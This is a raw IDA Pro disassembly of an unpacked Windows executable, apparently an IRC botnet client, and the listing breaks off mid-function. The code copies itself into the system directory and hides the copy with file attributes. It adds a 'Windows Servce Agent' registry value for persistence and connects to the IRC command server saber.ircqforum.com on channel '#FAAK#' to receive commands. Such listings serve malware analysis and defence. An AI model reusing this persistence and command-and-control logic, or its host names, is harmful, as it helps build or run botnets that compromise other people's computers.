; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 2F8BC738B3DCEB18ED59CE8A51CE58C9 ; File Name : u:\work\2f8bc738b3dceb18ed59ce8a51ce58c9_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DE000 ( 909312.) ; Section size in file : 000DE000 ( 909312.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _packed segment para public 'CODE' use32 assume cs:_packed ;org 401000h assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401221+358p ; sub_418359+1Ep ; DATA XREF: ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsServceA ; "Windows Servce Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CB5E8 ; RegCreateKeyExA cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AFE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CB658 ; RegSetValueExA jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CB598 ; RegDeleteValueA loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CB610 ; RegCloseKey add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: sub_4163F9+24Ap var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41B4D5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41B4C2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B11A add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi call sub_41B05B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: sub_401221+14o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43E57C call dword_4CB6CC ; closesocket call sub_40B2BF call dword_4CB58C ; WSACleanup call dword_4CB58C ; WSACleanup mov ebx, dword_427078 push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43D7E8 mov [ebp+var_28], 1 mov [ebp+var_24], di call dword_427074 ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call dword_427070 ; GetModuleFileNameA lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call dword_42706C ; CreateProcessA test eax, eax jz short loc_4011E2 push 64h call ebx ; Sleep push [ebp+var_10] mov esi, dword_427068 call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D7E0 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call dword_427064 ; ExitProcess pop edi pop esi pop ebx loc_401205: ; DATA XREF: .packed:00429004o jmp $+5 push 0FFFFh push 539h call sub_418684 pop ecx mov dword_4CB370, eax pop ecx retn sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401221 proc near ; CODE XREF: sub_41D933+C9p var_988 = byte ptr -988h var_884 = byte ptr -884h var_883 = byte ptr -883h var_6F4 = byte ptr -6F4h var_5F4 = byte ptr -5F4h var_4F0 = byte ptr -4F0h var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_1E8 = byte ptr -1E8h var_E4 = dword ptr -0E4h var_D8 = dword ptr -0D8h var_B8 = dword ptr -0B8h var_B4 = word ptr -0B4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp+var_8], ebx mov [ebp+var_C], ebx mov [ebp+var_4], offset sub_40111D push [ebp+var_4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_4CB374, eax call esi ; GetTickCount push eax call sub_41B8D8 pop ecx call sub_409B12 push 2 call dword_4CB6E0 ; SetErrorMode push 7530h push offset aDark ; "Dark" push ebx push ebx call dword_4270A4 ; CreateMutexA push eax call dword_4270A0 ; WaitForSingleObject cmp eax, 102h jnz short loc_4012A1 push 1 call dword_427064 ; ExitProcess loc_4012A1: ; CODE XREF: sub_401221+76j lea eax, [ebp+var_884] push eax push 202h call dword_4CB5A4 ; WSAStartup cmp eax, ebx jnz loc_4017E4 cmp [ebp+var_884], 2 jnz loc_4017DE xor eax, eax mov al, [ebp+var_883] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp+var_3F0] push esi push eax call dword_427074 ; GetSystemDirectoryA lea eax, [ebp+var_2EC] push esi push eax push ebx call dword_42709C ; GetModuleHandleA push eax call dword_427070 ; GetModuleFileNameA lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push ebx lea eax, [ebp+var_2EC] push ebx push eax call sub_41B9D1 add esp, 14h lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push offset dword_429A98 lea eax, [ebp+var_5F4] push esi push eax call sub_41B980 lea eax, [ebp+var_3F0] push eax lea eax, [ebp+var_2EC] push eax call sub_41B900 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41AFE0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: sub_401221+179j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41AFE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: sub_401221+148j ; sub_401221+156j lea eax, [ebp+var_3F0] push esi push eax lea eax, [ebp+var_1E8] push offset dword_429A90 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_1E8] push eax call dword_427098 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp+var_1E8] push 80h push eax call dword_427094 ; SetFileAttributesA loc_4013DC: ; CODE XREF: sub_401221+1A7j mov esi, dword_427090 lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] xor edi, edi push eax loc_4013F3: ; CODE XREF: sub_401221+209j call esi ; CopyFileA test eax, eax jnz short loc_40142C call dword_42708C ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: sub_401221+1E5j push 1 pop edi push 3A98h call dword_427078 ; Sleep lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: sub_401221+1D6j ; sub_401221+1E0j ... lea eax, [ebp+var_1E8] push eax call sub_418293 pop ecx lea eax, [ebp+var_1E8] push 7 push eax call dword_427094 ; SetFileAttributesA push 10h lea eax, [ebp+var_20] push ebx push eax call sub_41B590 push 44h lea eax, [ebp+var_E4] pop esi push esi push ebx push eax call sub_41B590 add esp, 18h mov [ebp+var_E4], esi mov [ebp+var_D8], offset byte_43D7E8 mov [ebp+var_B4], bx push 1 pop esi mov [ebp+var_B8], esi call dword_427088 ; GetCurrentProcessId push eax push esi push 100000h call dword_427084 ; OpenProcess lea ecx, [ebp+var_2EC] push ecx push eax lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_988] push offset dword_429A84 push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_20] push eax lea eax, [ebp+var_E4] push eax lea eax, [ebp+var_3F0] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_988] push ebx push eax lea eax, [ebp+var_1E8] push eax call dword_42706C ; CreateProcessA test eax, eax jz short loc_401516 push 0C8h call dword_427078 ; Sleep push [ebp+var_20] mov esi, dword_427068 call esi ; CloseHandle push [ebp+var_1C] call esi ; CloseHandle call dword_4CB58C ; WSACleanup push ebx call dword_427064 ; ExitProcess loc_401516: ; CODE XREF: sub_401221+137j ; sub_401221+2CBj cmp dword_4DB954, 2 jle short loc_401562 mov eax, dword_4DB958 push dword ptr [eax+4] call sub_41B779 pop ecx mov esi, eax push 0FFFFFFFFh push esi call dword_4270A0 ; WaitForSingleObject push esi call dword_427068 ; CloseHandle mov eax, dword_4DB958 cmp [eax+8], ebx jz short loc_401562 push 7D0h call dword_427078 ; Sleep mov eax, dword_4DB958 push dword ptr [eax+8] call dword_427080 ; DeleteFileA loc_401562: ; CODE XREF: sub_401221+2FCj ; sub_401221+326j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB704, ebx jnz short loc_40157F lea eax, [ebp+var_5F4] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: sub_401221+347j ; sub_401221+34Fj lea eax, [ebp+var_A0] push offset dword_429A68 push eax call sub_41B886 push ebx lea eax, [ebp+var_A0] push ebx push eax call sub_40B0F6 lea eax, [ebp+var_A0] push eax call sub_4151AC push 0B80h push ebx push offset dword_43D7F0 call sub_41B590 add esp, 24h lea eax, [ebp+var_A0] push offset unk_429A44 push eax call sub_41B886 push ebx lea eax, [ebp+var_A0] push 1 push eax call sub_40B0F6 add esp, 14h mov esi, eax mov edi, dword_42707C lea eax, [ebp+var_8] push eax push ebx push ebx push offset sub_419A00 push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_43E584[esi], eax jnz short loc_401622 call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_A0] push offset unk_429A04 push eax call sub_41B886 add esp, 0Ch loc_401622: ; CODE XREF: sub_401221+3E4j lea eax, [ebp+var_A0] push eax call sub_4151AC push 2 call sub_40B33E pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp+var_A0] push offset dword_4299D8 push eax call sub_41B886 push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp+var_8] push eax push ebx push esi push offset sub_4101FC push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_43E584[esi], eax jnz short loc_40169A call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_A0] push offset dword_4299A4 push eax call sub_41B886 add esp, 0Ch loc_40169A: ; CODE XREF: sub_401221+45Cj lea eax, [ebp+var_A0] push eax call sub_4151AC pop ecx loc_4016A7: ; CODE XREF: sub_401221+418j call sub_41B8E2 push 7Fh and eax, 3 push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CB37C mov dword_4CB4E8, eax call sub_41B5F0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CB3FC push offset aFaak ; "#FAAK#" push edi mov dword_4CB4CC, eax call sub_41B5F0 push 3Fh mov esi, offset dword_4CB43C push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword_4CB4D0, ebx loc_4016FC: ; CODE XREF: sub_401221+563j ; sub_401221+56Ej ... mov [ebp+var_4], ebx loc_4016FF: ; CODE XREF: sub_401221+517j push offset dword_4CB378 mov dword_4CB4E4, ebx call sub_4017ED cmp eax, 2 mov [ebp+var_10], eax jz loc_4017D9 cmp dword_4CB4E4, ebx jz short loc_401726 dec [ebp+var_4] loc_401726: ; CODE XREF: sub_401221+500j push 0BB8h call dword_427078 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_4016FF cmp [ebp+var_10], 2 jz loc_4017D9 cmp [ebp+var_C], ebx jz short loc_401789 push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CB37C call sub_41B5F0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CB4CC, eax call sub_41B5F0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp+var_C], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: sub_401221+526j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CB37C call sub_41B5F0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CB4CC, eax call sub_41B5F0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp+var_C], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: sub_401221+4F4j ; sub_401221+51Dj call sub_40B2BF loc_4017DE: ; CODE XREF: sub_401221+A1j ; sub_401221+B1j call dword_4CB58C ; WSACleanup loc_4017E4: ; CODE XREF: sub_401221+94j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: sub_401221+4E9p ; DATA XREF: sub_401ACD+662Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CB634 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AAF9 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40B08D mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43E588 push edi push eax call sub_41B5F0 add esp, 28h push 6 push 1 push 2 call dword_4CB6B4 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43E57C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CB5DC ; connect cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB6CC ; closesocket call sub_40AB22 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j call dword_427078 ; Sleep jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_429AA0 call sub_415220 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB6CC ; closesocket test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B412 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BB20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CB4E0, bl jz short loc_40199A push offset byte_4CB4E0 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409A2C add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CB684 ; send cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB6CC ; closesocket push 1388h call dword_427078 ; Sleep loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CB64C ; recv test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417F7F pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h call dword_427078 ; Sleep jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = 